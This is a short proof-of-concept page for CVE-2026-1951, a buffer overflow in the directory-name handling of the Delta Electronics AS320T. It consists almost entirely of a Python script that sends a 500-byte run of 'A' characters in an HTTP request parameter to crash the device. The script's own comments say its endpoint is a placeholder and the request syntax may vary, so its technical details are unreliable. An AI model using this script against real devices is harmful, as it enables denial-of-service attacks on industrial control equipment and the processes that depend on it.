CVE-2026-1951 Delta AS320T目录名缓冲区溢出漏洞

# PoC for CVE-2026-1951: Delta Electronics AS320T Buffer Overflow # This script demonstrates the buffer overflow by sending a long directory name. import socket def send_exploit(target_ip, target_port): # Payload: A long string of 'A's to trigger the buffer overflow # Adjust length based on specific buffer size (e.g., 500 bytes) payload = b"A" * 500 # Construct a malicious request targeting the vulnerable directory parameter # Note: The actual HTTP endpoint or protocol syntax may vary. request = b"GET /vulnerable_path?dirname=" + payload + b" HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n\r\n" try: print(f"[*] Sending payload to {target_ip}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(request) s.close() print("[+] Payload sent successfully. Check if the device crashes or responds abnormally.") except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": target = "192.168.1.10" # Replace with actual target IP port = 80 # Replace with actual service port send_exploit(target, port)